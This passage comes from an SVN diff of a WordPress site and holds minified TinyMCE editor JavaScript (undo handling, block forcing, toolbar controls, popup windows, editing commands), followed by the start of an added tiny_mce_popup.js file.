q._pendingStyles}if(g()){n.onKeyDown.remove(q._applyInlineStyle.keyhandler);n.onKeyPress.remove(q._applyInlineStyle.keyhandler)}if(s.type=="keyup"){n.onKeyUp.remove(q._applyInlineStyle.keyhandler)}};n.onKeyDown.add(k);n.onKeyPress.add(k);n.onKeyUp.add(k)}else{q._pendingStyles=0}}})})(tinymce);(function(a){a.create("tinymce.UndoManager",{index:0,data:null,typing:0,UndoManager:function(c){var d=this,b=a.util.Dispatcher;d.editor=c;d.data=[];d.onAdd=new b(this);d.onUndo=new b(this);d.onRedo=new b(this)},add:function(d){var g=this,f,e=g.editor,c,h=e.settings,j;d=d||{};d.content=d.content||e.getContent({format:"raw",no_events:1});d.content=d.content.replace(/^\s*|\s*$/g,"");j=g.data[g.index>0&&(g.index==0||g.index==g.data.length)?g.index-1:g.index];if(!d.initial&&j&&d.content==j.content){return null}if(h.custom_undo_redo_levels){if(g.data.length>h.custom_undo_redo_levels){for(f=0;f<g.data.length-1;f++){g.data[f]=g.data[f+1]}g.data.length--;g.index=g.data.length}}if(h.custom_undo_redo_restore_selection&&!d.initial){d.bookmark=c=d.bookmark||e.selection.getBookmark()}if(g.index<g.data.length){g.index++}if(g.data.length===0&&!d.initial){return null}g.data.length=g.index+1;g.data[g.index++]=d;if(d.initial){g.index=0}if(g.data.length==2&&g.data[0].initial){g.data[0].bookmark=c}g.onAdd.dispatch(g,d);e.isNotDirty=0;return d},undo:function(){var e=this,c=e.editor,b=b,d;if(e.typing){e.add();e.typing=0}if(e.index>0){if(e.index==e.data.length&&e.index>1){d=e.index;e.typing=0;if(!e.add()){e.index=d}--e.index}b=e.data[--e.index];c.setContent(b.content,{format:"raw"});c.selection.moveToBookmark(b.bookmark);e.onUndo.dispatch(e,b)}return b},redo:function(){var d=this,c=d.editor,b=null;if(d.index<d.data.length-1){b=d.data[++d.index];c.setContent(b.content,{format:"raw"});c.selection.moveToBookmark(b.bookmark);d.onRedo.dispatch(d,b)}return b},clear:function(){var b=this;b.data=[];b.index=0;b.typing=0;b.add({initial:true})},hasUndo:function(){return this.index!=0||this.typing},hasRedo:function(){return this.index<this.data.length-1}})})(tinymce);(function(e){var b,d,a,c,f,h;b=e.dom.Event;d=e.isIE;a=e.isGecko;c=e.isOpera;f=e.each;h=e.extend;function g(i){i=i.innerHTML;i=i.replace(/<(img|hr|table|input|select|textarea)[ \>]/gi,"-");i=i.replace(/<[^>]+>/g,"");return i.replace(/[ \t\r\n]+/g,"")==""}e.create("tinymce.ForceBlocks",{ForceBlocks:function(j){var k=this,l=j.settings,m;k.editor=j;k.dom=j.dom;m=(l.forced_root_block||"p").toLowerCase();l.element=m.toUpperCase();j.onPreInit.add(k.setup,k);k.reOpera=new RegExp("(\\u00a0|&#160;|&nbsp;)</"+m+">","gi");k.rePadd=new RegExp("<p( )([^>]+)><\\/p>|<p( )([^>]+)\\/>|<p( )([^>]+)>\\s+<\\/p>|<p><\\/p>|<p\\/>|<p>\\s+<\\/p>".replace(/p/g,m),"gi");k.reNbsp2BR1=new RegExp("<p( )([^>]+)>[\\s\\u00a0]+<\\/p>|<p>[\\s\\u00a0]+<\\/p>".replace(/p/g,m),"gi");k.reNbsp2BR2=new RegExp("<%p()([^>]+)>(&nbsp;|&#160;)<\\/%p>|<%p>(&nbsp;|&#160;)<\\/%p>".replace(/%p/g,m),"gi");k.reBR2Nbsp=new RegExp("<p( )([^>]+)>\\s*<br \\/>\\s*<\\/p>|<p>\\s*<br \\/>\\s*<\\/p>".replace(/p/g,m),"gi");function i(n,p){if(c){p.content=p.content.replace(k.reOpera,"</"+m+">")}p.content=p.content.replace(k.rePadd,"<"+m+"$1$2$3$4$5$6>\u00a0</"+m+">");if(!d&&!c&&p.set){p.content=p.content.replace(k.reNbsp2BR1,"<"+m+"$1$2><br /></"+m+">");p.content=p.content.replace(k.reNbsp2BR2,"<"+m+"$1$2><br /></"+m+">")}else{p.content=p.content.replace(k.reBR2Nbsp,"<"+m+"$1$2>\u00a0</"+m+">")}}j.onBeforeSetContent.add(i);j.onPostProcess.add(i);if(l.forced_root_block){j.onInit.add(k.forceRoots,k);j.onSetContent.add(k.forceRoots,k);j.onBeforeGetContent.add(k.forceRoots,k)}},setup:function(){var j=this,i=j.editor,k=i.settings;if(k.forced_root_block){i.onKeyUp.add(j.forceRoots,j);i.onPreProcess.add(j.forceRoots,j)}if(k.force_br_newlines){if(d){i.onKeyPress.add(function(m,p){var q,o=m.selection;if(p.keyCode==13&&o.getNode().nodeName!="LI"){o.setContent('<br id="__" /> ',{format:"raw"});q=m.dom.get("__");q.removeAttribute("id");o.select(q);o.collapse();return b.cancel(p)}})}return}if(!d&&k.force_p_newlines){i.onKeyPress.add(function(m,n){if(n.keyCode==13&&!n.shiftKey){if(!j.insertPara(n)){b.cancel(n)}}});if(a){i.onKeyDown.add(function(m,n){if((n.keyCode==8||n.keyCode==46)&&!n.shiftKey){j.backspaceDelete(n,n.keyCode==8)}})}}function l(n,m){var o=i.dom.create(m);f(n.attributes,function(p){if(p.specified&&p.nodeValue){o.setAttribute(p.nodeName.toLowerCase(),p.nodeValue)}});f(n.childNodes,function(p){o.appendChild(p.cloneNode(true))});n.parentNode.replaceChild(o,n);return o}i.onPreProcess.add(function(m,n){f(m.dom.select("p,h1,h2,h3,h4,h5,h6,div",n.node),function(o){if(g(o)){f(m.dom.select("span,em,strong,b,i",n.node),function(p){if(!p.hasChildNodes()){p.appendChild(m.getDoc().createTextNode("\u00a0"));return false}})}})});if(d){if(k.element!="P"){i.onKeyPress.add(function(m,n){j.lastElm=m.selection.getNode().nodeName});i.onKeyUp.add(function(o,q){var s,p=o.selection,r=p.getNode(),m=o.getBody();if(m.childNodes.length===1&&r.nodeName=="P"){r=l(r,k.element);p.select(r);p.collapse();o.nodeChanged()}else{if(q.keyCode==13&&!q.shiftKey&&j.lastElm!="P"){s=o.dom.getParent(r,"p");if(s){l(s,k.element);o.nodeChanged()}}}})}}},find:function(o,k,l){var j=this.editor,i=j.getDoc().createTreeWalker(o,4,null,false),m=-1;while(o=i.nextNode()){m++;if(k==0&&o==l){return m}if(k==1&&m==l){return o}}return -1},forceRoots:function(p,D){var u=this,p=u.editor,H=p.getBody(),E=p.getDoc(),K=p.selection,v=K.getSel(),w=K.getRng(),I=-2,o,B,j,k,F=-16777215;var G,l,J,A,x,m=H.childNodes,z,y,q;for(z=m.length-1;z>=0;z--){G=m[z];if(G.nodeType==3||(!u.dom.isBlock(G)&&G.nodeType!=8)){if(!l){if(G.nodeType!=3||/[^\s]/g.test(G.nodeValue)){if(I==-2&&w){if(!d){if(w.startContainer.nodeType==1&&(y=w.startContainer.childNodes[w.startOffset])&&y.nodeType==1){q=y.getAttribute("id");y.setAttribute("id","__mce")}else{if(p.dom.getParent(w.startContainer,function(i){return i===H})){B=w.startOffset;j=w.endOffset;I=u.find(H,0,w.startContainer);o=u.find(H,0,w.endContainer)}}}else{k=E.body.createTextRange();k.moveToElementText(H);k.collapse(1);J=k.move("character",F)*-1;k=w.duplicate();k.collapse(1);A=k.move("character",F)*-1;k=w.duplicate();k.collapse(0);x=(k.move("character",F)*-1)-A;I=A-J;o=x}}l=p.dom.create(p.settings.forced_root_block);l.appendChild(G.cloneNode(1));G.parentNode.replaceChild(l,G)}}else{if(l.hasChildNodes()){l.insertBefore(G,l.firstChild)}else{l.appendChild(G)}}}else{l=null}}if(I!=-2){if(!d){l=H.getElementsByTagName(p.settings.element)[0];w=E.createRange();if(I!=-1){w.setStart(u.find(H,1,I),B)}else{w.setStart(l,0)}if(o!=-1){w.setEnd(u.find(H,1,o),j)}else{w.setEnd(l,0)}if(v){v.removeAllRanges();v.addRange(w)}}else{try{w=v.createRange();w.moveToElementText(H);w.collapse(1);w.moveStart("character",I);w.moveEnd("character",o);w.select()}catch(C){}}}else{if(!d&&(y=p.dom.get("__mce"))){if(q){y.setAttribute("id",q)}else{y.removeAttribute("id")}w=E.createRange();w.setStartBefore(y);w.setEndBefore(y);K.setRng(w)}}},getParentBlock:function(j){var i=this.dom;return i.getParent(j,i.isBlock)},insertPara:function(M){var A=this,o=A.editor,I=o.dom,N=o.getDoc(),R=o.settings,B=o.selection.getSel(),C=B.getRangeAt(0),Q=N.body;var F,G,D,K,J,l,j,m,q,i,x,P,k,p,E,H=I.getViewPort(o.getWin()),w,z,v;F=N.createRange();F.setStart(B.anchorNode,B.anchorOffset);F.collapse(true);G=N.createRange();G.setStart(B.focusNode,B.focusOffset);G.collapse(true);D=F.compareBoundaryPoints(F.START_TO_END,G)<0;K=D?B.anchorNode:B.focusNode;J=D?B.anchorOffset:B.focusOffset;l=D?B.focusNode:B.anchorNode;j=D?B.focusOffset:B.anchorOffset;if(K===l&&/^(TD|TH)$/.test(K.nodeName)){if(K.firstChild.nodeName=="BR"){I.remove(K.firstChild)}if(K.childNodes.length==0){o.dom.add(K,R.element,null,"<br />");P=o.dom.add(K,R.element,null,"<br />")}else{E=K.innerHTML;K.innerHTML="";o.dom.add(K,R.element,null,E);P=o.dom.add(K,R.element,null,"<br />")}C=N.createRange();C.selectNodeContents(P);C.collapse(1);o.selection.setRng(C);return false}if(K==Q&&l==Q&&Q.firstChild&&o.dom.isBlock(Q.firstChild)){K=l=K.firstChild;J=j=0;F=N.createRange();F.setStart(K,0);G=N.createRange();G.setStart(l,0)}K=K.nodeName=="HTML"?N.body:K;K=K.nodeName=="BODY"?K.firstChild:K;l=l.nodeName=="HTML"?N.body:l;l=l.nodeName=="BODY"?l.firstChild:l;m=A.getParentBlock(K);q=A.getParentBlock(l);i=m?m.nodeName:R.element;if(A.dom.getParent(m,"ol,ul,pre")){return true}if(m&&(m.nodeName=="CAPTION"||/absolute|relative|fixed/gi.test(I.getStyle(m,"position",1)))){i=R.element;m=null}if(q&&(q.nodeName=="CAPTION"||/absolute|relative|fixed/gi.test(I.getStyle(m,"position",1)))){i=R.element;q=null}if(/(TD|TABLE|TH|CAPTION)/.test(i)||(m&&i=="DIV"&&/left|right/gi.test(I.getStyle(m,"float",1)))){i=R.element;m=q=null}x=(m&&m.nodeName==i)?m.cloneNode(0):o.dom.create(i);P=(q&&q.nodeName==i)?q.cloneNode(0):o.dom.create(i);P.removeAttribute("id");if(/^(H[1-6])$/.test(i)&&K.nodeValue&&J==K.nodeValue.length){P=o.dom.create(R.element)}E=k=K;do{if(E==Q||E.nodeType==9||A.dom.isBlock(E)||/(TD|TABLE|TH|CAPTION)/.test(E.nodeName)){break}k=E}while((E=E.previousSibling?E.previousSibling:E.parentNode));E=p=l;do{if(E==Q||E.nodeType==9||A.dom.isBlock(E)||/(TD|TABLE|TH|CAPTION)/.test(E.nodeName)){break}p=E}while((E=E.nextSibling?E.nextSibling:E.parentNode));if(k.nodeName==i){F.setStart(k,0)}else{F.setStartBefore(k)}F.setEnd(K,J);x.appendChild(F.cloneContents()||N.createTextNode(""));try{G.setEndAfter(p)}catch(L){}G.setStart(l,j);P.appendChild(G.cloneContents()||N.createTextNode(""));C=N.createRange();if(!k.previousSibling&&k.parentNode.nodeName==i){C.setStartBefore(k.parentNode)}else{if(F.startContainer.nodeName==i&&F.startOffset==0){C.setStartBefore(F.startContainer)}else{C.setStart(F.startContainer,F.startOffset)}}if(!p.nextSibling&&p.parentNode.nodeName==i){C.setEndAfter(p.parentNode)}else{C.setEnd(G.endContainer,G.endOffset)}C.deleteContents();if(c){o.getWin().scrollTo(0,H.y)}if(x.firstChild&&x.firstChild.nodeName==i){x.innerHTML=x.firstChild.innerHTML}if(P.firstChild&&P.firstChild.nodeName==i){P.innerHTML=P.firstChild.innerHTML}if(g(x)){x.innerHTML="<br />"}function O(y,s){var r=[],T,S,t;y.innerHTML="";if(R.keep_styles){S=s;do{if(/^(SPAN|STRONG|B|EM|I|FONT|STRIKE|U)$/.test(S.nodeName)){T=S.cloneNode(false);I.setAttrib(T,"id","");r.push(T)}}while(S=S.parentNode)}if(r.length>0){for(t=r.length-1,T=y;t>=0;t--){T=T.appendChild(r[t])}r[0].innerHTML=c?"&nbsp;":"<br />";return r[0]}else{y.innerHTML=c?"&nbsp;":"<br />"}}if(g(P)){v=O(P,l)}if(c&&parseFloat(opera.version())<9.5){C.insertNode(x);C.insertNode(P)}else{C.insertNode(P);C.insertNode(x)}P.normalize();x.normalize();function u(r){return N.createTreeWalker(r,NodeFilter.SHOW_TEXT,null,false).nextNode()||r}C=N.createRange();C.selectNodeContents(a?u(v||P):v||P);C.collapse(1);B.removeAllRanges();B.addRange(C);w=o.dom.getPos(P).y;z=P.clientHeight;if(w<H.y||w+z>H.y+H.h){o.getWin().scrollTo(0,w<H.y?w:w-H.h+25)}return false},backspaceDelete:function(l,u){var x=this,k=x.editor,p=k.getBody(),j,m=k.selection,i=m.getRng(),o=i.startContainer,j,q,s;if(o&&k.dom.isBlock(o)&&!/^(TD|TH)$/.test(o.nodeName)&&u){if(o.childNodes.length==0||(o.childNodes.length==1&&o.firstChild.nodeName=="BR")){j=o;while((j=j.previousSibling)&&!k.dom.isBlock(j)){}if(j){if(o!=p.firstChild){q=k.dom.doc.createTreeWalker(j,NodeFilter.SHOW_TEXT,null,false);while(s=q.nextNode()){j=s}i=k.getDoc().createRange();i.setStart(j,j.nodeValue?j.nodeValue.length:0);i.setEnd(j,j.nodeValue?j.nodeValue.length:0);m.setRng(i);k.dom.remove(o)}return b.cancel(l)}}}function v(n){var r;n=n.target;if(n&&n.parentNode&&n.nodeName=="BR"&&(j=x.getParentBlock(n))){r=n.previousSibling;b.remove(p,"DOMNodeInserted",v);if(r&&r.nodeType==3&&/\s+$/.test(r.nodeValue)){return}if(n.previousSibling||n.nextSibling){k.dom.remove(n)}}}b._add(p,"DOMNodeInserted",v);window.setTimeout(function(){b._remove(p,"DOMNodeInserted",v)},1)}})})(tinymce);(function(c){var b=c.DOM,a=c.dom.Event,d=c.each,e=c.extend;c.create("tinymce.ControlManager",{ControlManager:function(f,j){var h=this,g;j=j||{};h.editor=f;h.controls={};h.onAdd=new c.util.Dispatcher(h);h.onPostRender=new c.util.Dispatcher(h);h.prefix=j.prefix||f.id+"_";h._cls={};h.onPostRender.add(function(){d(h.controls,function(i){i.postRender()})})},get:function(f){return this.controls[this.prefix+f]||this.controls[f]},setActive:function(h,f){var g=null;if(g=this.get(h)){g.setActive(f)}return g},setDisabled:function(h,f){var g=null;if(g=this.get(h)){g.setDisabled(f)}return g},add:function(g){var f=this;if(g){f.controls[g.id]=g;f.onAdd.dispatch(g,f)}return g},createControl:function(i){var h,g=this,f=g.editor;d(f.plugins,function(j){if(j.createControl){h=j.createControl(i,g);if(h){return false}}});switch(i){case"|":case"separator":return g.createSeparator()}if(!h&&f.buttons&&(h=f.buttons[i])){return g.createButton(i,h)}return g.add(h)},createDropMenu:function(f,n,h){var m=this,i=m.editor,j,g,k,l;n=e({"class":"mceDropDown",constrain:i.settings.constrain_menus},n);n["class"]=n["class"]+" "+i.getParam("skin")+"Skin";if(k=i.getParam("skin_variant")){n["class"]+=" "+i.getParam("skin")+"Skin"+k.substring(0,1).toUpperCase()+k.substring(1)}f=m.prefix+f;l=h||m._cls.dropmenu||c.ui.DropMenu;j=m.controls[f]=new l(f,n);j.onAddItem.add(function(r,q){var p=q.settings;p.title=i.getLang(p.title,p.title);if(!p.onclick){p.onclick=function(o){i.execCommand(p.cmd,p.ui||false,p.value)}}});i.onRemove.add(function(){j.destroy()});if(c.isIE){j.onShowMenu.add(function(){i.focus();g=i.selection.getBookmark(1)});j.onHideMenu.add(function(){if(g){i.selection.moveToBookmark(g);g=0}})}return m.add(j)},createListBox:function(m,i,l){var h=this,g=h.editor,j,k,f;if(h.get(m)){return null}i.title=g.translate(i.title);i.scope=i.scope||g;if(!i.onselect){i.onselect=function(n){g.execCommand(i.cmd,i.ui||false,n||i.value)}}i=e({title:i.title,"class":"mce_"+m,scope:i.scope,control_manager:h},i);m=h.prefix+m;if(g.settings.use_native_selects){k=new c.ui.NativeListBox(m,i)}else{f=l||h._cls.listbox||c.ui.ListBox;k=new f(m,i)}h.controls[m]=k;if(c.isWebKit){k.onPostRender.add(function(p,o){a.add(o,"mousedown",function(){g.bookmark=g.selection.getBookmark("simple")});a.add(o,"focus",function(){g.selection.moveToBookmark(g.bookmark);g.bookmark=null})})}if(k.hideMenu){g.onMouseDown.add(k.hideMenu,k)}return h.add(k)},createButton:function(m,i,l){var h=this,g=h.editor,j,k,f;if(h.get(m)){return null}i.title=g.translate(i.title);i.label=g.translate(i.label);i.scope=i.scope||g;if(!i.onclick&&!i.menu_button){i.onclick=function(){g.execCommand(i.cmd,i.ui||false,i.value)}}i=e({title:i.title,"class":"mce_"+m,unavailable_prefix:g.getLang("unavailable",""),scope:i.scope,control_manager:h},i);m=h.prefix+m;if(i.menu_button){f=l||h._cls.menubutton||c.ui.MenuButton;k=new f(m,i);g.onMouseDown.add(k.hideMenu,k)}else{f=h._cls.button||c.ui.Button;k=new f(m,i)}return h.add(k)},createMenuButton:function(h,f,g){f=f||{};f.menu_button=1;return this.createButton(h,f,g)},createSplitButton:function(m,i,l){var h=this,g=h.editor,j,k,f;if(h.get(m)){return null}i.title=g.translate(i.title);i.scope=i.scope||g;if(!i.onclick){i.onclick=function(n){g.execCommand(i.cmd,i.ui||false,n||i.value)}}if(!i.onselect){i.onselect=function(n){g.execCommand(i.cmd,i.ui||false,n||i.value)}}i=e({title:i.title,"class":"mce_"+m,scope:i.scope,control_manager:h},i);m=h.prefix+m;f=l||h._cls.splitbutton||c.ui.SplitButton;k=h.add(new f(m,i));g.onMouseDown.add(k.hideMenu,k);return k},createColorSplitButton:function(f,n,h){var l=this,j=l.editor,i,k,m,g;if(l.get(f)){return null}n.title=j.translate(n.title);n.scope=n.scope||j;if(!n.onclick){n.onclick=function(o){if(c.isIE){g=j.selection.getBookmark(1)}j.execCommand(n.cmd,n.ui||false,o||n.value)}}if(!n.onselect){n.onselect=function(o){j.execCommand(n.cmd,n.ui||false,o||n.value)}}n=e({title:n.title,"class":"mce_"+f,menu_class:j.getParam("skin")+"Skin",scope:n.scope,more_colors_title:j.getLang("more_colors")},n);f=l.prefix+f;m=h||l._cls.colorsplitbutton||c.ui.ColorSplitButton;k=new m(f,n);j.onMouseDown.add(k.hideMenu,k);j.onRemove.add(function(){k.destroy()});if(c.isIE){k.onShowMenu.add(function(){j.focus();g=j.selection.getBookmark(1)});k.onHideMenu.add(function(){if(g){j.selection.moveToBookmark(g);g=0}})}return l.add(k)},createToolbar:function(k,h,j){var i,g=this,f;k=g.prefix+k;f=j||g._cls.toolbar||c.ui.Toolbar;i=new f(k,h);if(g.get(k)){return null}return g.add(i)},createSeparator:function(g){var f=g||this._cls.separator||c.ui.Separator;return new f()},setControlType:function(g,f){return this._cls[g.toLowerCase()]=f},destroy:function(){d(this.controls,function(f){f.destroy()});this.controls=null}})})(tinymce);(function(d){var a=d.util.Dispatcher,e=d.each,c=d.isIE,b=d.isOpera;d.create("tinymce.WindowManager",{WindowManager:function(f){var g=this;g.editor=f;g.onOpen=new a(g);g.onClose=new a(g);g.params={};g.features={}},open:function(z,h){var v=this,k="",n,m,i=v.editor.settings.dialog_type=="modal",q,o,j,g=d.DOM.getViewPort(),r;z=z||{};h=h||{};o=b?g.w:screen.width;j=b?g.h:screen.height;z.name=z.name||"mc_"+new Date().getTime();z.width=parseInt(z.width||320);z.height=parseInt(z.height||240);z.resizable=true;z.left=z.left||parseInt(o/2)-(z.width/2);z.top=z.top||parseInt(j/2)-(z.height/2);h.inline=false;h.mce_width=z.width;h.mce_height=z.height;h.mce_auto_focus=z.auto_focus;if(i){if(c){z.center=true;z.help=false;z.dialogWidth=z.width+"px";z.dialogHeight=z.height+"px";z.scroll=z.scrollbars||false}}e(z,function(p,f){if(d.is(p,"boolean")){p=p?"yes":"no"}if(!/^(name|url)$/.test(f)){if(c&&i){k+=(k?";":"")+f+":"+p}else{k+=(k?",":"")+f+"="+p}}});v.features=z;v.params=h;v.onOpen.dispatch(v,z,h);r=z.url||z.file;r=d._addVer(r);try{if(c&&i){q=1;window.showModalDialog(r,window,k)}else{q=window.open(r,z.name,k)}}catch(l){}if(!q){alert(v.editor.getLang("popup_blocked"))}},close:function(f){f.close();this.onClose.dispatch(this)},createInstance:function(i,h,g,m,l,k){var j=d.resolve(i);return new j(h,g,m,l,k)},confirm:function(h,f,i,g){g=g||window;f.call(i||this,g.confirm(this._decode(this.editor.getLang(h,h))))},alert:function(h,f,j,g){var i=this;g=g||window;g.alert(i._decode(i.editor.getLang(h,h)));if(f){f.call(j||i)}},_decode:function(f){return d.DOM.decode(f).replace(/\\n/g,"\n")}})}(tinymce));(function(a){a.CommandManager=function(){var c={},b={},d={};function e(i,h,g,f){if(typeof(h)=="string"){h=[h]}a.each(h,function(j){i[j.toLowerCase()]={func:g,scope:f}})}a.extend(this,{add:function(h,g,f){e(c,h,g,f)},addQueryStateHandler:function(h,g,f){e(b,h,g,f)},addQueryValueHandler:function(h,g,f){e(d,h,g,f)},execCommand:function(g,j,i,h,f){if(j=c[j.toLowerCase()]){if(j.func.call(g||j.scope,i,h,f)!==false){return true}}},queryCommandValue:function(){if(cmd=d[cmd.toLowerCase()]){return cmd.func.call(scope||cmd.scope,ui,value,args)}},queryCommandState:function(){if(cmd=b[cmd.toLowerCase()]){return cmd.func.call(scope||cmd.scope,ui,value,args)}}})};a.GlobalCommands=new a.CommandManager()})(tinymce);(function(b){function a(i,d,h,m){var j,g,e,l,f;function k(p,o){do{if(p.parentNode==o){return p}p=p.parentNode}while(p)}function c(o){m(o);b.walk(o,m,"childNodes")}j=i.findCommonAncestor(d,h);e=k(d,j)||d;l=k(h,j)||h;for(g=d;g&&g!=e;g=g.parentNode){for(f=g.nextSibling;f;f=f.nextSibling){c(f)}}if(e!=l){for(g=e.nextSibling;g&&g!=l;g=g.nextSibling){c(g)}}else{c(e)}for(g=h;g&&g!=l;g=g.parentNode){for(f=g.previousSibling;f;f=f.previousSibling){c(f)}}}b.GlobalCommands.add("RemoveFormat",function(){var m=this,l=m.dom,u=m.selection,d=u.getRng(1),e=[],h,f,j,q,g,o,c,i;function k(s){var r;l.getParent(s,function(v){if(l.is(v,m.getParam("removeformat_selector"))){r=v}return l.isBlock(v)},m.getBody());return r}function p(r){if(l.is(r,m.getParam("removeformat_selector"))){e.push(r)}}function t(r){p(r);b.walk(r,p,"childNodes")}h=u.getBookmark();q=d.startContainer;o=d.endContainer;g=d.startOffset;c=d.endOffset;q=q.nodeType==1?q.childNodes[Math.min(g,q.childNodes.length-1)]:q;o=o.nodeType==1?o.childNodes[Math.min(g==c?c:c-1,o.childNodes.length-1)]:o;if(q==o){f=k(q);if(q.nodeType==3){if(f&&f.nodeType==1){i=q.splitText(g);i.splitText(c-g);l.split(f,i);u.moveToBookmark(h)}return}t(l.split(f,q)||q)}else{f=k(q);j=k(o);if(f){if(q.nodeType==3){if(g==q.nodeValue.length){q.nodeValue+="\uFEFF"}q=q.splitText(g)}}if(j){if(o.nodeType==3){o.splitText(c)}}if(f&&f==j){l.replace(l.create("span",{id:"__end"},o.cloneNode(true)),o)}if(f){f=l.split(f,q)}else{f=q}if(i=l.get("__end")){o=i;j=k(o)}if(j){j=l.split(j,o)}else{j=o}a(l,f,j,p);if(q.nodeValue=="\uFEFF"){q.nodeValue=""}t(o);t(q)}b.each(e,function(r){l.remove(r,1)});l.remove("__end",1);u.moveToBookmark(h)})})(tinymce);(function(a){a.GlobalCommands.add("mceBlockQuote",function(){var j=this,o=j.selection,f=j.dom,l,k,e,d,p,c,m,h,b;function g(i){return f.getParent(i,function(q){return q.nodeName==="BLOCKQUOTE"})}l=f.getParent(o.getStart(),f.isBlock);k=f.getParent(o.getEnd(),f.isBlock);if(p=g(l)){if(l!=k||l.childNodes.length>1||(l.childNodes.length==1&&l.firstChild.nodeName!="BR")){d=o.getBookmark()}if(g(k)){m=p.cloneNode(false);while(e=k.nextSibling){m.appendChild(e.parentNode.removeChild(e))}}if(m){f.insertAfter(m,p)}b=o.getSelectedBlocks(l,k);for(h=b.length-1;h>=0;h--){f.insertAfter(b[h],p)}if(/^\s*$/.test(p.innerHTML)){f.remove(p,1)}if(m&&/^\s*$/.test(m.innerHTML)){f.remove(m,1)}if(!d){if(!a.isIE){c=j.getDoc().createRange();c.setStart(l,0);c.setEnd(l,0);o.setRng(c)}else{o.select(l);o.collapse(0);if(f.getParent(o.getStart(),f.isBlock)!=l){c=o.getRng();c.move("character",-1);c.select()}}}else{j.selection.moveToBookmark(d)}return}if(a.isIE&&!l&&!k){j.getDoc().execCommand("Indent");e=g(o.getNode());e.style.margin=e.dir="";return}if(!l||!k){return}if(l!=k||l.childNodes.length>1||(l.childNodes.length==1&&l.firstChild.nodeName!="BR")){d=o.getBookmark()}a.each(o.getSelectedBlocks(g(o.getStart()),g(o.getEnd())),function(i){if(i.nodeName=="BLOCKQUOTE"&&!p){p=i;return}if(!p){p=f.create("blockquote");i.parentNode.insertBefore(p,i)}if(i.nodeName=="BLOCKQUOTE"&&p){e=i.firstChild;while(e){p.appendChild(e.cloneNode(true));e=e.nextSibling}f.remove(i);return}p.appendChild(f.remove(i))});if(!d){if(!a.isIE){c=j.getDoc().createRange();c.setStart(l,0);c.setEnd(l,0);o.setRng(c)}else{o.select(l);o.collapse(1)}}else{o.moveToBookmark(d)}})})(tinymce);(function(a){a.each(["Cut","Copy","Paste"],function(b){a.GlobalCommands.add(b,function(){var c=this,e=c.getDoc();try{e.execCommand(b,false,null);if(!e.queryCommandSupported(b)){throw"Error"}}catch(d){c.windowManager.alert(c.getLang("clipboard_no_support"))}})})})(tinymce);(function(a){a.GlobalCommands.add("InsertHorizontalRule",function(){if(a.isOpera){return this.getDoc().execCommand("InsertHorizontalRule",false,"")}this.selection.setContent("<hr />")})})(tinymce);(function(){var a=tinymce.GlobalCommands;a.add(["mceEndUndoLevel","mceAddUndoLevel"],function(){this.undoManager.add()});a.add("Undo",function(){var b=this;if(b.settings.custom_undo_redo){b.undoManager.undo();b.nodeChanged();return true}return false});a.add("Redo",function(){var b=this;if(b.settings.custom_undo_redo){b.undoManager.redo();b.nodeChanged();return true}return false})})();
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/tiny_mce_popup.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/tiny_mce_popup.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/tiny_mce_popup.js	(revision 44)
@@ -0,0 +1,5 @@
+
+// Uncomment and change this document.domain value if you are loading the script cross subdomains
+// document.domain = 'moxiecode.com';
+
+var tinymce=null,tinyMCEPopup,tinyMCE;tinyMCEPopup={init:function(){var b=this,a,c;a=b.getWin();tinymce=a.tinymce;tinyMCE=a.tinyMCE;b.editor=tinymce.EditorManager.activeEditor;b.params=b.editor.windowManager.params;b.features=b.editor.windowManager.features;b.dom=b.editor.windowManager.createInstance("tinymce.dom.DOMUtils",document);if(b.features.popup_css!==false){b.dom.loadCSS(b.features.popup_css||b.editor.settings.popup_css)}b.listeners=[];b.onInit={add:function(e,d){b.listeners.push({func:e,scope:d})}};b.isWindow=!b.getWindowArg("mce_inline");b.id=b.getWindowArg("mce_window_id");b.editor.windowManager.onOpen.dispatch(b.editor.windowManager,window)},getWin:function(){return window.dialogArguments||opener||parent||top},getWindowArg:function(c,b){var a=this.params[c];return tinymce.is(a)?a:b},getParam:function(b,a){return this.editor.getParam(b,a)},getLang:function(b,a){return this.editor.getLang(b,a)},execCommand:function(d,c,e,b){b=b||{};b.skip_focus=1;this.restoreSelection();return this.editor.execCommand(d,c,e,b)},resizeToInnerSize:function(){var e=this,g,a=document.body,c=e.dom.getViewPort(window),d,f;d=e.getWindowArg("mce_width")-c.w;f=e.getWindowArg("mce_height")-c.h;if(e.isWindow){window.resizeBy(d,f)}else{e.editor.windowManager.resizeBy(d,f,e.id)}},executeOnLoad:function(s){this.onInit.add(function(){eval(s)})},storeSelection:function(){this.editor.windowManager.bookmark=tinyMCEPopup.editor.selection.getBookmark("simple")},restoreSelection:function(){var a=tinyMCEPopup;if(!a.isWindow&&tinymce.isIE){a.editor.selection.moveToBookmark(a.editor.windowManager.bookmark)}},requireLangPack:function(){var b=this,a=b.getWindowArg("plugin_url")||b.getWindowArg("theme_url");if(a&&b.editor.settings.language&&b.features.translate_i18n!==false){a+="/langs/"+b.editor.settings.language+"_dlg.js";if(!tinymce.ScriptLoader.isDone(a)){document.write('<script type="text/javascript" src="'+tinymce._addVer(a)+'"><\/script>');tinymce.ScriptLoader.markDone(a)}}},pickColor:function(b,a){this.execCommand("mceColorPicker",true,{color:document.getElementById(a).value,func:function(e){document.getElementById(a).value=e;try{document.getElementById(a).onchange()}catch(d){}}})},openBrowser:function(a,c,b){tinyMCEPopup.restoreSelection();this.editor.execCallback("file_browser_callback",a,document.getElementById(a).value,c,window)},confirm:function(b,a,c){this.editor.windowManager.confirm(b,a,c,window)},alert:function(b,a,c){this.editor.windowManager.alert(b,a,c,window)},close:function(){var a=this;function b(){a.editor.windowManager.close(window);tinymce=tinyMCE=a.editor=a.params=a.dom=a.dom.doc=null}if(tinymce.isOpera){a.getWin().setTimeout(b,0)}else{b()}},_restoreSelection:function(){var a=window.event.srcElement;if(a.nodeName=="INPUT"&&(a.type=="submit"||a.type=="button")){tinyMCEPopup.restoreSelection()}},_onDOMLoaded:function(){var b=tinyMCEPopup,d=document.title,e,c,a;if(b.domLoaded){return}b.domLoaded=1;if(b.features.translate_i18n!==false){c=document.body.innerHTML;if(tinymce.isIE){c=c.replace(/ (value|title|alt)=([^"][^\s>]+)/gi,' 